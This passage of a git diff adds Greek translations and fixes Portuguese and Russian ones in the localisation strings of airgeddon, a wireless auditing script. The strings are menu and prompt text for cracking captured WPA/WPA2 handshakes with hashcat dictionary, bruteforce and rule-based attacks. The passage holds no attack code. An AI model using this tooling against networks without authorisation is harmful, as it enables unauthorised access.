esse arquivo e captura selecionado? "${normal_color}"[y/n]" arr["russian",187]="Вы хотите использовать этот уже выбранный файл захвата? "${normal_color}"[y/n]" + arr["greek",187]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο καταγραφής? "${normal_color}"[y/n]" arr["english",188]="Enter the path of a captured file :" arr["spanish",188]="Introduce la ruta de un fichero de captura :" arr["french",188]="Entrez le chemin vers un fichier de capture :" arr["catalan",188]="Introdueix la ruta d'un fitxer de captura :" - arr["portuguese",188]="$pending_of_translation Digite o caminho para um arquivo de captura :" + arr["portuguese",188]="Digite o caminho para um arquivo de captura :" arr["russian",188]="Введите путь файла захвата :" + arr["greek",188]="Εισάγετε το μονοπάτι για ένα αρχείο καταγραφής :" arr["english",189]="The path to the capture file is valid. Script can continue..." arr["spanish",189]="La ruta al fichero de captura es válida. El script puede continuar..." arr["french",189]="Le chemin du fichier de capture est valide. Le script peut continuer..." arr["catalan",189]="La ruta al fitxer de captura és vàlida. El script pot continuar..." - arr["portuguese",189]="$pending_of_translation O caminho para o arquivo de captura é válido. O script pode continuar..." + arr["portuguese",189]="O caminho para o arquivo de captura é válido. O script pode continuar..." arr["russian",189]="Путь до файла захвата верен. Скрипт может продолжать..." + arr["greek",189]="Το μονοπάτι για το αρχείο καταγραφής είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["english",190]="Starting decrypt. When started, press Ctrl+C to stop..." arr["spanish",190]="Comenzando desencriptado. Una vez empezado, pulse Ctrl+C para pararlo..." arr["french",190]="Lancement du crack. Pressez Ctrl+C pour l'arrêter..." arr["catalan",190]="Començant el desencriptat. Un cop començat, premeu Ctrl+C per aturar-lo..." - arr["portuguese",190]="$pending_of_translation Começando descriptografado. Uma vez iniciado, pressione Ctrl+C para pará-lo..." + arr["portuguese",190]="Começando a descriptografar. Uma vez iniciado, pressione Ctrl+C para parar..." arr["russian",190]="Начало расшифровки. После запуска, нажмите Ctrl+C для остановки..." + arr["greek",190]="Γίνεται έναρξη αποκρυπτογράφησης. Όταν ξεκινήσει, πατήστε Ctrl+C για να σταματήσει..." arr["english",191]="Capture file you selected is an unsupported file format (not a pcap or IVs file)" arr["spanish",191]="El fichero de captura que has seleccionado tiene un formato no soportado (no es un fichero pcap o de IVs)" arr["french",191]="Le fichier de capture que vous avez sélectionné est dans un format non supporté (ce n'est pas un fichier pcap ou IVs)" arr["catalan",191]="El fitxer de captura que has seleccionat té un format no suportat (no és un fitxer pcap o de IVs)" - arr["portuguese",191]="$pending_of_translation O arquivo de captura selecionado tem um formato não suportado (não um pcap arquivo ou IVs)" + arr["portuguese",191]="O arquivo de captura selecionado tem um invalido (não é um arquivo pcap ou IVs)" arr["russian",191]="Файл захвата, который вы выбрали, в неподдерживаемом формате (это не файл pcap или IVs)" + arr["greek",191]="Η επέκταση του αρχείου καταγραφής που έχετε επιλέξει δεν υποστηρίζεται (δεν είναι pcap ούτε IVs αρχείο)" arr["english",192]="You already have selected a BSSID during this session and is present in capture file ["${normal_color}"$bssid"${blue_color}"]" arr["spanish",192]="Ya tienes seleccionado un BSSID en esta sesión y está presente en el fichero de captura ["${normal_color}"$bssid"${blue_color}"]" arr["french",192]="Vous avez déjà sélectionné un BSSID pour la session en cours et est présent dans le fichier de capture "${normal_color}"$bssid"${blue_color}"]" arr["catalan",192]="Ja tens seleccionat un BSSID en aquesta sessió i està present en el fitxer de captura ["${normal_color}"$bssid"${blue_color}"]" - arr["portuguese",192]="$pending_of_translation Seleccionou uma BSSID nesta sessão e está presente no arquivo de captura ["${normal_color}"$bssid"${blue_color}"]" + arr["portuguese",192]="Seleccionou um BSSID nesta sessão e está presente no arquivo de captura ["${normal_color}"$bssid"${blue_color}"]" arr["russian",192]="У вас уже есть выбранная во время этой сессии BSSID и она пресутствует в файле захвата ["${normal_color}"$bssid"${blue_color}"]" + arr["greek",192]="Έχετε ήδη επιλέξει BSSID κατά τη διάρκεια της συνεδρίας και βρίσκεται στο αρχείο καταγραφής ["${normal_color}"$bssid"${blue_color}"]" arr["english",193]="Do you want to use this already selected BSSID? "${normal_color}"[y/n]" arr["spanish",193]="¿Quieres utilizar este BSSID ya seleccionado? "${normal_color}"[y/n]" arr["french",193]="Souhaitez vous utiliser le BSSID déjà sélectionné? "${normal_color}"[y/n]" arr["catalan",193]="¿Vols fer servir aquest BSSID ja seleccionat? "${normal_color}"[y/n]" - arr["portuguese",193]="$pending_of_translation Você quer usar este BSSID já seleccionada? "${normal_color}"[y/n]" + arr["portuguese",193]="Você quer usar este BSSID já seleccionada? "${normal_color}"[y/n]" arr["russian",193]="Вы хотите использовать эту уже выбранную BSSID? "${normal_color}"[y/n]" + arr["greek",193]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο BSSID? "${normal_color}"[y/n]" arr["english",194]="Enter the minimum length of the key to decrypt (8-63) :" arr["spanish",194]="Introduce la longitud mínima de la clave a desencriptar (8-63) :" arr["french",194]="Entrez la longueur minimale de la clef à cracker (8-63) :" arr["catalan",194]="Introdueix la longitud mínima de la clau a desxifrar (8-63) :" - arr["portuguese",194]="$pending_of_translation Entre o tamanho mínimo da chave para descriptografar (8-63) :" + arr["portuguese",194]="Digite o comprimento mínimo da senha para descriptografa (8-63) :" arr["russian",194]="Введите минимальную длину ключа для расшифровки (8-63) :" + arr["greek",194]="Εισάγετε το ελάχιστο μήκος κλειδιού για αποκρυπτογράφηση (8-63) :" arr["english",195]="Enter the maximum length of the key to decrypt ($minlength-63) :" arr["spanish",195]="Introduce la longitud máxima de la clave a desencriptar ($minlength-63) :" arr["french",195]="Entrez la longueur maximale de la clef à cracker ($minlength-63) :" arr["catalan",195]="Introdueix la longitud màxima de la clau a desxifrar ($minlength-63) :" - arr["portuguese",195]="$pending_of_translation Digite o comprimento máximo da chave para descriptografar ($minlength-63) :" + arr["portuguese",195]="Digite o comprimento máximo da senha para descriptografar ($minlength-63) :" arr["russian",195]="Введите максимальную длину ключа для расшифровки ($minlength-63) :" + arr["greek",195]="Εισάγετε το μέγιστο μήκος κλειδιού για αποκρυπτογράφηση ($minlength-63) :" arr["english",196]="Select the character set to use :" arr["spanish",196]="Selecciona el juego de caracteres a utilizar :" arr["french",196]="Sélectionnez le jeu de caractères à utiliser :" arr["catalan",196]="Selecciona el joc de caràcters a utilitzar :" - arr["portuguese",196]="$pending_of_translation Selecione o conjunto de caracteres a ser usado :" + arr["portuguese",196]="Selecione o conjunto de caracteres a ser usado :" arr["russian",196]="Выберите набор символов для использования :" + arr["greek",196]="Επιλέξτε το σετ χαρακτήρων που θα χρησιμοποιηθεί :" arr["english",197]="1. Lowercase chars" arr["spanish",197]="1. Caracteres en minúsculas" arr["french",197]="1. Lettres minuscules" arr["catalan",197]="1. Caràcters en minúscules" - arr["portuguese",197]="$pending_of_translation 1. Caracteres em minúsculas" - arr["russian",197]=" 1. Символы нижнего регистра" + arr["portuguese",197]="1. Caracteres em minúsculo" + arr["russian",197]="1. Символы нижнего регистра" + arr["greek",197]="1. Πεζά" arr["english",198]="2. Uppercase chars" arr["spanish",198]="2. Caracteres en mayúsculas" arr["french",198]="2. Lettres majuscules" arr["catalan",198]="2. Caràcters en majúscules" - arr["portuguese",198]="$pending_of_translation 2. Caracteres em maiúsculas" + arr["portuguese",198]="2. Caracteres em maiúsculo" arr["russian",198]="2. Символы верхнего регистра" + arr["greek",198]="2. Κεφαλαία" arr["english",199]="3. Numeric chars" arr["spanish",199]="3. Caracteres numéricos" arr["french",199]="3. Chiffres" arr["catalan",199]="3. Caràcters numèrics" - arr["portuguese",199]="$pending_of_translation 3. Caracteres numéricos" + arr["portuguese",199]="3. Caracteres numéricos" arr["russian",199]="3. Цифры" + arr["greek",199]="3. Αριθμοί" arr["english",200]="4. Symbol chars" arr["spanish",200]="4. Caracteres símbolos" arr["french",200]="4. Symboles" arr["catalan",200]="4. Caràcters símbols" - arr["portuguese",200]="$pending_of_translation 4. Símbolos" + arr["portuguese",200]="4. Símbolos" arr["russian",200]="4. Символы" + arr["greek",200]="4. Σύμβολα" arr["english",201]="5. Lowercase + uppercase chars" arr["spanish",201]="5. Caracteres en minúsculas + mayúsculas" arr["french",201]="5. Lettres minuscules + majuscules" arr["catalan",201]="5. Caràcters en minúscules + majúscules" - arr["portuguese",201]="$pending_of_translation 5. Características minúsculas + maiúsculas" + arr["portuguese",201]="5. Características minúscula + maiúsculo" arr["russian",201]="5. Буквы верхнего + нижнего регистра" + arr["greek",201]="5. Πεζά + κεφαλαία" arr["english",202]="6. Lowercase + numeric chars" arr["spanish",202]="6. Caracteres en minúsculas + numéricos" arr["french",202]="6. Lettres minuscules + chiffres" arr["catalan",202]="6. Caràcters en minúscules + numèrics" - arr["portuguese",202]="$pending_of_translation 6. Caracteres em minúsculas + numéricos" + arr["portuguese",202]="6. Caracteres em minúsculo + números" arr["russian",202]="6. Буквы нижнего регистра + цифры" + arr["greek",202]="6. Πεζά + αριθμοί" arr["english",203]="7. Uppercase + numeric chars" arr["spanish",203]="7. Caracteres en mayúsculas + numéricos" arr["french",203]="7. Lettres majuscules + chiffres" arr["catalan",203]="7. Caràcters en majúscules + numèrics" - arr["portuguese",203]="$pending_of_translation 7. Caracteres em maiúsculas + numéricos" + arr["portuguese",203]="7. Caracteres em maiúsculo + números" arr["russian",203]="7. Буквы верхнего регистра + цифры" + arr["greek",203]="7. Κεφαλαία + αριθμοί" arr["english",204]="8. Symbol + numeric chars" arr["spanish",204]="8. Caracteres símbolos + numéricos" arr["french",204]="8. Symboles + chiffres" arr["catalan",204]="8. Caràcters símbols + numèrics" - arr["portuguese",204]="$pending_of_translation 8. Símbolos + numéricos" + arr["portuguese",204]="8. Símbolos + números" arr["russian",204]="8. Символы + цифры" + arr["greek",204]="8. Σύμβολα + αριθμοί" arr["english",205]="9. Lowercase + uppercase + numeric chars" arr["spanish",205]="9. Caracteres en minúsculas + mayúsculas + numéricos" arr["french",205]="9. Lettres minuscules et majuscules + chiffres" arr["catalan",205]="9. Caràcters en minúscules + majúscules + numèrics" - arr["portuguese",205]="$pending_of_translation 9. Caracteres em minúsculas + maiúsculas + numéricos" - arr["russian",205]="9. Буквы нижнего регистра + верхнего регистра + цифры " + arr["portuguese",205]="9. Caracteres em minúsculos + maiúsculo + números" + arr["russian",205]="9. Буквы нижнего регистра + верхнего регистра + цифры" + arr["greek",205]="9. Πεζά + κεφαλαία + αριθμοί" arr["english",206]="10. Lowercase + uppercase + symbol chars" arr["spanish",206]="10. Caracteres en minúsculas + mayúsculas + símbolos" arr["french",206]="10. Lettres minuscules et majuscules + symboles" arr["catalan",206]="10. Caràcters en minúscules + majúscules + símbols" - arr["portuguese",206]="$pending_of_translation 10. Caracteres em minúsculas + maiúsculas + símbolos" - arr["russian",206]="10. Буквы нижнего регистра + верхнего регистра + символы " + arr["portuguese",206]="10. Caracteres em minúsculos + maiúsculo + símbolos" + arr["russian",206]="10. Буквы нижнего регистра + верхнего регистра + символы" + arr["greek",206]="10. Πεζά + κεφαλαία + σύμβολα" arr["english",207]="11. Lowercase + uppercase + numeric + symbol chars" arr["spanish",207]="11. Caracteres en minúsculas + mayúsculas + numéricos + símbolos" arr["french",207]="11. Lettres minuscules et majuscules + chiffres + symboles" arr["catalan",207]="11. Caràcters en minúscules + majúscules + numèrics + símbols" - arr["portuguese",207]="$pending_of_translation 11. Caracteres em minúsculas + maiúsculas + numéricos + símbolos" + arr["portuguese",207]="11. Caracteres em minúsculo + maiúsculo + números + símbolos" arr["russian",207]="11. Буквы нижнего регистра + верхнего регистра + цифры + символы" + arr["greek",207]="11. Πεζά + κεφαλαία + αριθμοί + σύμβολα" arr["english",208]="If you choose a big charset and a long key length, the proccess could take so much time" arr["spanish",208]="Si eliges un juego de caracteres amplio y una longitud de clave grande, el proceso podría demorarse mucho tiempo" @@ -1802,6 +2030,7 @@ function language_strings() { arr["catalan",208]="Si tries un joc de caràcters ampli i una longitud de clau gran, el procés podria demorar-se molt temps" arr["portuguese",208]="$pending_of_translation Se você escolher um conjunto de caracteres de largura e grande comprimento da chave, o processo pode levar um longo tempo" arr["russian",208]="Если вы выберете большой набор символов и большую длинну ключа, процесс может занять очень много времени" + arr["greek",208]="Αν επιλέξετε μεγάλη συμβολοσειρά και μεγάλο μήκος κλειδιού, η διεργασία θα διαρκέσει αρκετά" arr["english",209]="The charset to use is : ["${normal_color}"$showcharset"${blue_color}"]" arr["spanish",209]="El juego de caracteres elegido es : ["${normal_color}"$showcharset"${blue_color}"]" @@ -1809,6 +2038,7 @@ function language_strings() { arr["catalan",209]="El joc de caràcters escollit és : ["${normal_color}"$showcharset"${blue_color}"]" arr["portuguese",209]="$pending_of_translation O jogo é escolhido caracteres: ["${normal_color}"$showcharset"${blue_color}"]" arr["russian",209]="Символы для использования : ["${normal_color}"$showcharset"${blue_color}"]" + arr["greek",209]="Η συμβολοσειρά που θα χρησιμοποιηθεί είναι : ["${normal_color}"$showcharset"${blue_color}"]" arr["english",210]="The script will check for internet access looking for a newer version. Please be patient..." arr["spanish",210]="El script va a comprobar si tienes acceso a internet para ver si existe una nueva versión. Por favor ten paciencia..." @@ -1816,6 +2046,7 @@ function language_strings() { arr["catalan",210]="El script va a comprovar si tens accés a internet per veure si hi ha una nova versió. Si us plau té paciència..." arr["portuguese",210]="$pending_of_translation O script irá verificar se você tem acesso à internet para ver se uma nova versão. Por favor, seja paciente..." arr["russian",210]="Скрипт проверит доступ в Интернет для поиска новой версии. Додождите немного..." + arr["greek",210]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο και έπειτα για νεότερη έκδοση. Παρακαλώ κάντε υπομονή..." arr["english",211]="It seems you have no internet access. The script can't connect to repository. It will continue without updating..." arr["spanish",211]="Parece que no tienes conexión a internet. El script no puede conectar al repositorio. Continuará sin actualizarse..." @@ -1823,6 +2054,7 @@ function language_strings() { arr["catalan",211]="Sembla que no tens connexió a internet. El script no pot connectar al repositori. Continuarà sense actualitzar-se..." arr["portuguese",211]="$pending_of_translation Parece que você não tem acesso à internet. O script não pode conectar-se ao repositório. Ele continuará sem atualizar..." arr["russian",211]="Кажется, у вас нет доступа в Интернет. Скрипт не может подключится к репозиторию. Он продолжит без обновления..." + arr["greek",211]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο. Το script δεν μπορεί να συνδεθεί στο repository. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["english",212]="The script is already in the latest version. It doesn't need to be updated" arr["spanish",212]="El script ya está en la última versión. No necesita ser actualizado" @@ -1830,6 +2062,7 @@ function language_strings() { arr["catalan",212]="El script ja està en l'última versió. No necessita ser actualitzat" arr["portuguese",212]="$pending_of_translation O script já está na versão mais recente. Ele não necessita de ser actualizado" arr["russian",212]="Скрипт уже последней версии, обновление не требуется" + arr["greek",212]="Το script είναι ήδη στην τελευταία έκδοση. Δεν χρειάζεται να ενημερωθεί" arr["english",213]="A new version of the script exists (v$airgeddon_last_version). It will be downloaded" arr["spanish",213]="Existe una nueva versión del script (v$airgeddon_last_version). Será descargada" @@ -1837,6 +2070,7 @@ function language_strings() { arr["catalan",213]="Hi ha una nova versió dels script (v$airgeddon_last_version). Serà descarregada" arr["portuguese",213]="$pending_of_translation Uma nova versão do script (v$airgeddon_last_version). Vai ser descarregada" arr["russian",213]="Существует новая версия скрипта (v$airgeddon_last_version). Она будет загружена" + arr["greek",213]="Υπάρχει νεότερη έκδοση του script (v$airgeddon_last_version). Θα κατέβει" arr["english",214]="The new version was successfully downloaded. The script will be launched again" arr["spanish",214]="La nueva versión se ha descargado con éxito. El script se lanzará de nuevo" @@ -1844,6 +2078,7 @@ function language_strings() { arr["catalan",214]="La nova versió s'ha descarregat amb èxit. El script es llençarà de nou" arr["portuguese",214]="$pending_of_translation A nova versão foi baixado com sucesso. O script será lançado novamente" arr["russian",214]="Новая версия успешно загружена. Скрипт будет перезапущен" + arr["greek",214]="Η νεότερη έκδοση κατέβηκε επιτυχώς. Το script θα επανεκκινηθεί" arr["english",215]="WPA/WPA2 passwords always has 8 as a minimum length" arr["spanish",215]="Una contraseña WPA/WPA2 siempre tiene como mínimo una longitud de 8" @@ -1851,6 +2086,7 @@ function language_strings() { arr["catalan",215]="Una contrasenya WPA/WPA2 sempre té com a mínim una longitud de 8" arr["portuguese",215]="$pending_of_translation Uma senha WPA/WPA2 sempre tem pelo menos um comprimento de 8" arr["russian",215]="WPA/WPA2 пароли всегда имеют длину минимум в 8 символов" + arr["greek",215]="οι κωδικοί WPA/WPA2 έχουν πάντα ελάχιστο μήκος 8" arr["english",216]="No networks found with Handshake captured on the selected file" arr["spanish",216]="No se encontraron redes con Handshake capturado en el fichero seleccionado" @@ -1858,6 +2094,7 @@ function language_strings() { arr["catalan",216]="No s'han trobat xarxes amb Handshake capturat en el fitxer seleccionat" arr["portuguese",216]="$pending_of_translation Nenhuma rede encontrada com Handshake capturado no arquivo selecionado" arr["russian",216]="В выбранном файле сети с захваченным рукопожатием не найдены" + arr["greek",216]="Δεν βρέθηκαν δίκτυα με Χειραψία στο επιλεγμένο αρχείο" arr["english",217]="Only one valid target detected on file. BSSID autoselected ["${normal_color}"$bssid"${blue_color}"]" arr["spanish",217]="Sólo un objetivo valido detectado en el fichero. Se ha seleccionado automáticamente el BSSID ["${normal_color}"$bssid"${blue_color}"]" @@ -1865,55 +2102,63 @@ function language_strings() { arr["catalan",217]="Només un objectiu vàlid detectat en el fitxer. S'ha seleccionat automàticament el BSSID ["${normal_color}"$bssid"${blue_color}"]" arr["portuguese",217]="$pending_of_translation Apenas um valido objetivo detectado no arquivo. É selecionado automaticamente BSSID ["${normal_color}"$bssid"${blue_color}"]" arr["russian",217]="В файле обнаружена только одна подходящая цель. BSSID выбрана автоматически ["${normal_color}"$bssid"${blue_color}"]" + arr["greek",217]="Μόνο ένας έγκυρος στόχος εντοπίστηκε στο αρχείο. Επιλέχθηκε αυτόματα το BSSID ["${normal_color}"$bssid"${blue_color}"]" arr["english",218]="Optional tools: checking..." arr["spanish",218]="Herramientas opcionales: comprobando..." arr["french",218]="Vérification de la présence des outils optionnels..." arr["catalan",218]="Eines opcionals: comprovant..." - arr["portuguese",218]="$pending_of_translation ferramentas opcionais: verificação..." + arr["portuguese",218]="Verificando se as ferramentas opcionais estão presentes..." arr["russian",218]="Опциональные инструменты: проверка..." + arr["greek",218]="Προαιρετικά εργαλεία: γίνεται έλεγχος..." arr["english",219]="Your distro has the essential tools but it hasn't some optional. The script can continue but you can't use some features. It is recommended to install missing tools" arr["spanish",219]="Tu distro tiene las herramientas esenciales pero le faltan algunas opcionales. El script puede continuar pero no podrás utilizar algunas funcionalidades. Es recomendable instalar las herramientas que faltan" arr["french",219]="Votre système contient les outils fondamentaux nécessaires à l’exécution du script mais il manque quelques outils pour pouvoir utiliser pleinement toutes les fonctionnalités proposées par le script. Le script va pouvoir être exécuté mais il est conseillé d'installer les outils manquants." arr["catalan",219]="La teva distro té les eines essencials però li falten algunes opcionals. El script pot continuar però no podràs utilitzar algunes funcionalitats. És recomanable instal·lar les eines que faltin" - arr["portuguese",219]="$pending_of_translation Seu distro tem as ferramentas essenciais, mas carece de algumas opcional. O script pode continuar, mas você não pode usar alguns recursos. É aconselhável instalar as ferramentas ausentes" + arr["portuguese",219]="Sau distro tem as ferramentas essenciais, mas carece de algumas opcionais. O script pode continuar, mas você não pode usar alguns recursos. É aconselhável instalar as ferramentas ausentes" arr["russian",219]="Ваш дистрибутив имеет базовые инструмент, но не имеет некоторые опциональные. Скрипт может продолжить, но вы не сможете исопльзовать некоторые функции. Рекомендуется установить отсутствующие инструменты" + arr["greek",219]="Η διανομή σας έχει τα απαραίτητα εργαλεία αλλά δεν έχει κάποια προαιρετικά. Το script μπορεί να συνεχίσει αλλά δεν θα μπορέσετε να χρησιμοποιήσετε κάποια χαρακτηριστικά. Συνιστάται να εγκαταστήσετε τα λείποντα εργαλεία" arr["english",220]="Locked menu option was chosen" arr["spanish",220]="Opción del menú bloqueada" arr["french",220]="Cette option du menu est bloquée" arr["catalan",220]="Opció del menú bloquejada" - arr["portuguese",220]="$pending_of_translation Menu de opções bloqueado" + arr["portuguese",220]="Menu bloqueado" arr["russian",220]="Была выбрана заблокированная опция меню" + arr["greek",220]="Επιλέχθηκε κλειδωμένη επιλογή" arr["english",221]="Accepted bash version ($BASH_VERSION). Minimum required version: $minimum_bash_version_required" arr["spanish",221]="Versión de bash ($BASH_VERSION) aceptada. Mínimo requerido versión: $minimum_bash_version_required" arr["french",221]="Votre version de bash ($BASH_VERSION) est acceptée. Version minimale requise: $minimum_bash_version_required" arr["catalan",221]="Versió de bash ($BASH_VERSION) acceptada. Versió minima requerida: $minimum_bash_version_required" - arr["portuguese",221]="$pending_of_translation Versão Bash ($BASH_VERSION) aceitaram. Versão mínima exigida: $minimum_bash_version_required" - arr["russian",221]="Используемая версия bash ($BASH_VERSION). Минимальная требуемая версия: $minimum_bash_version_required " + arr["portuguese",221]="Versão Bash ($BASH_VERSION) aceita. Versão mínima exigida: $minimum_bash_version_required" + arr["russian",221]="Используемая версия bash ($BASH_VERSION). Минимальная требуемая версия: $minimum_bash_version_required" + arr["greek",221]="Αποδεκτή έκδοση bash ($BASH_VERSION). Ελάχιστη απαιτούμενη έκδοση: $minimum_bash_version_required" arr["english",222]="Insufficient bash version ($BASH_VERSION). Minimum required version: $minimum_bash_version_required" arr["spanish",222]="Versión de bash insuficiente ($BASH_VERSION). Mínimo requerido versión: $minimum_bash_version_required" arr["french",222]="Votre version de bash ($BASH_VERSION) n'est pas suffisante. Version minimale requise: $minimum_bash_version_required" arr["catalan",222]="Versió de bash insuficient ($BASH_VERSION). Versió mínima requerida: $minimum_bash_version_required" - arr["portuguese",222]="$pending_of_translation Versão festança insuficiente ($BASH_VERSION). Versão mínima exigida: $minimum_bash_version_required" + arr["portuguese",222]="Versão Bash insuficiente ($BASH_VERSION). Versão mínima exigida: $minimum_bash_version_required" arr["russian",222]="Неудовлетворительная версия bash ($BASH_VERSION). Минимальная требуемая версия: $minimum_bash_version_required" + arr["greek",222]="Ανεπαρκής έκδοση bash ($BASH_VERSION). Ελάχιστη απαιτούμενη έκδοση:: $minimum_bash_version_required" arr["english",223]="Maybe the essential tools check has failed because you are not root user or don't have enough privileges. Launch the script as root user or using \"sudo\"" arr["spanish",223]="Es posible que el chequeo de las herramientas esenciales haya fallado porque no eres usuario root o no tienes privilegios suficientes. Lanza el script como usuario root o usando \"sudo\"" arr["french",223]="Il est possible que la vérification des outils essentiels ait échouée parce que vous n'êtes pas logué comme root ou ne disposez pas des privilèges nécessaires. Lancez le script en tant que root ou en utilisant \"sudo\"" arr["catalan",223]="És possible que la revisió de les eines essencials hagi fallat perquè no ets usuari root o no tens privilegis suficients. Llança l'script com a usuari root o utilitzeu \"sudo\"" - arr["portuguese",223]="$pending_of_translation Talvez as ferramentas essenciais cheque falhou porque você não é raiz ou não tem privilégios suficientes. Lança o script como root ou usando \"sudo\"" + arr["portuguese",223]="Talvez a checagem das ferramentas essenciais falhou porque você não é root ou não tem privilégios suficientes. Execute o script como root ou usando \"sudo\"" arr["russian",223]="Может быть, проверка на базовые инструменты потерпела неудачу из-за того, что вы не пользователь root или не имеете достаточных привилегий. Запустите скрипт как root пользователь или используйте \"sudo\"" + arr["greek",223]="Ίσως ο έλεγχος απαραίτητων εργαλείων απέτυχε γιατί δεν είστε root χρήστης ή δεν έχετε αρκετά δικαιώματα. Ανοίξτε το script ως root χρήστης ή χρησιμοποιήστε \"sudo\"" arr["english",224]="The script execution continues from exactly the same point where it was" arr["spanish",224]="El script continua su ejecución desde exactamente el mismo punto en el que estaba" arr["french",224]="L'exécution du script se poursuit à partir exactement le même point où il était" arr["catalan",224]="El script contínua la seva execució des d'exactament el mateix punt en el qual estava" - arr["portuguese",224]="$pending_of_translation A execução do script continua exatamente do mesmo ponto em que foi" + arr["portuguese",224]="A execução do script continuará exatamente do mesmo ponto" arr["russian",224]="Выполнение скрипта продолжиться с точно той точки, на которой он был" + arr["greek",224]="Η εκτέλεση του script συνεχίζει ακριβώς από το ίδιο σημείο που ήταν" arr["english",225]="The script can't check if there is a new version because you haven't installed update tools needed" arr["spanish",225]="El script no puede comprobar si hay una nueva versión porque no tienes instaladas las herramientas de actualización necesarias" @@ -1921,6 +2166,7 @@ function language_strings() { arr["catalan",225]="El script no pot comprovar si hi ha una nova versió perquè no tens instal·lades les eines d'actualització necessàries" arr["portuguese",225]="$pending_of_translation O script não pode verificar se uma nova versão porque você instalou as ferramentas de atualização necessárias" arr["russian",225]="Скрипт не может проверить имеется ли новая версия, поскольку у вас не установлены необходимые инструменты обновления" + arr["greek",225]="Το script δεν μπορεί να ελέγξει αν υπάρχει νεότερη έκδοση γιατί δεν έχετε εγκαταστήσει τα απαραίτητα εργαλεία ενημερώσεων" arr["english",226]="Update tools: checking..." arr["spanish",226]="Herramientas de actualización: comprobando..." @@ -1928,13 +2174,15 @@ function language_strings() { arr["catalan",226]="Eines d'actualització: comprovant..." arr["portuguese",226]="$pending_of_translation Ferramentas de atualização: verificação..." arr["russian",226]="Инструменты для обновления: проверка..." + arr["greek",226]="Εργαλεία ενημερώσεων: γίνεται έλεγχος..." arr["english",227]="Working... " arr["spanish",227]="Trabajando... " arr["french",227]="Travail... " arr["catalan",227]="Treballant... " arr["portuguese",227]="$pending_of_translation Trabalhando... " - arr["russian",227]="Работаем..." + arr["russian",227]="Работаем... " + arr["greek",227]="Δουλεύει... " arr["english",228]=" Developed by $author" arr["spanish",228]=" Programado por $author" @@ -1942,6 +2190,7 @@ function language_strings() { arr["catalan",228]=" Desenvolupat per $author" arr["portuguese",228]=" Programado por $author" arr["russian",228]=" Создал $author" + arr["greek",228]=" Προγραμματισμένο από $author" arr["english",229]="hashcat CPU, non GPU attacks" arr["spanish",229]="ataques hashcat CPU, no GPU" @@ -1949,6 +2198,7 @@ function language_strings() { arr["catalan",229]="atacs hashcat CPU, no GPU" arr["portuguese",229]="$pending_of_translation ataques hashcat CPU, não GPU" arr["russian",229]="Атаки hashcat с использованием центрального процессора, без использования видеокарты" + arr["greek",229]="επιθέσεις hashcat CPU, όχι GPU" arr["english",230]="3. (hashcat) Dictionary attack against capture file" arr["spanish",230]="3. (hashcat) Ataque de diccionario sobre fichero de captura" @@ -1956,6 +2206,7 @@ function language_strings() { arr["catalan",230]="3. (hashcat) Atac de diccionari sobre fitxer de captura" arr["portuguese",230]="$pending_of_translation 3. (hashcat) Dicionário ataque em arquivo de captura" arr["russian",230]="3. (hashcat) Атака по словарю в отношению захваченного файла" + arr["greek",230]="3. (hashcat) Επίθεση με χρήση λεξικού σε αρχείο καταγραφής" arr["english",231]="4. (hashcat) Bruteforce attack against capture file" arr["spanish",231]="4. (hashcat) Ataque de fuerza bruta sobre fichero de captura" @@ -1963,6 +2214,7 @@ function language_strings() { arr["catalan",231]="4. (hashcat) Atac de força bruta sobre fitxer de captura" arr["portuguese",231]="$pending_of_translation 4. (hashcat) Ataque de força bruta em arquivo de captura" arr["russian",231]="4. (hashcat) Атака грубой силой в отношении захваченного файла" + arr["greek",231]="4. (hashcat) Επίθεση ωμής βίας σε αρχείο καταγραφής" arr["english",232]="5. (hashcat) Rule based attack against capture file" arr["spanish",232]="5. (hashcat) Ataque basado en reglas sobre fichero de captura" @@ -1970,13 +2222,15 @@ function language_strings() { arr["catalan",232]="5. (hashcat) Atac basat en regles sobre el fitxer de captura" arr["portuguese",232]="$pending_of_translation 5. (hashcat) Ataque com base no arquivo de captura regras" arr["russian",232]="5. (hashcat) Атака на основе правила в отношении захваченного файла" + arr["greek",232]="5. (hashcat) Επίθεση κανόνων σε αρχείο καταγραφής" - arr["english",233]="Type the path to store the file or press Enter to accept the default proposal"${normal_color}"[$hashcat_potpath]" + arr["english",233]="Type the path to store the file or press Enter to accept the default proposal "${normal_color}"[$hashcat_potpath]" arr["spanish",233]="Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$hashcat_potpath]" arr["french",233]="Entrez le chemin où vous voulez enregistrer le fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$hashcat_potpath]" - arr["catalan",233]="Escriu la ruta on guardarem el fitxer o prem Enter per acceptar la proposta per defecte"${normal_color}"[$hashcat_potpath]" + arr["catalan",233]="Escriu la ruta on guardarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$hashcat_potpath]" arr["portuguese",233]="$pending_of_translation Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$hashcat_potpath]" - arr["russian",233]="Напечатайте путь к сохранённому файлу или нажмите Enter для принятия предложения по умолчоанию"${normal_color}"[$hashcat_potpath]" + arr["russian",233]="Напечатайте путь к сохранённому файлу или нажмите Enter для принятия предложения по умолчоанию "${normal_color}"[$hashcat_potpath]" + arr["greek",233]="Πληκτρολογήστε το μονοπάτι για την αποθήκευση του αρχείου ή πατήστε Enter για την προεπιλεγμένη επιλογή "${normal_color}"[$hashcat_potpath]" arr["english",234]="Contratulations!! It seems the key has been decrypted" arr["spanish",234]="Enhorabuena!! Parece que la clave ha sido desencriptada" @@ -1984,6 +2238,7 @@ function language_strings() { arr["catalan",234]="Enhorabona!! Sembla que la clau ha estat desencriptada" arr["portuguese",234]="$pending_of_translation Parabéns!! Parece que a chave tenha sido descodificada" arr["russian",234]="Поздравления!! Похоже на то, что ключ был расшифрован" + arr["greek",234]="Συγχαρητήρια!! Φαίνεται πως το κλειδί αποκρυπτογραφήθηκε" arr["english",235]="Do you want to save the trophy file with the decrypted password? "${normal_color}"[y/n]" arr["spanish",235]="¿Quieres guardar el fichero de trofeo con la clave desencriptada? "${normal_color}"[y/n]" @@ -1991,6 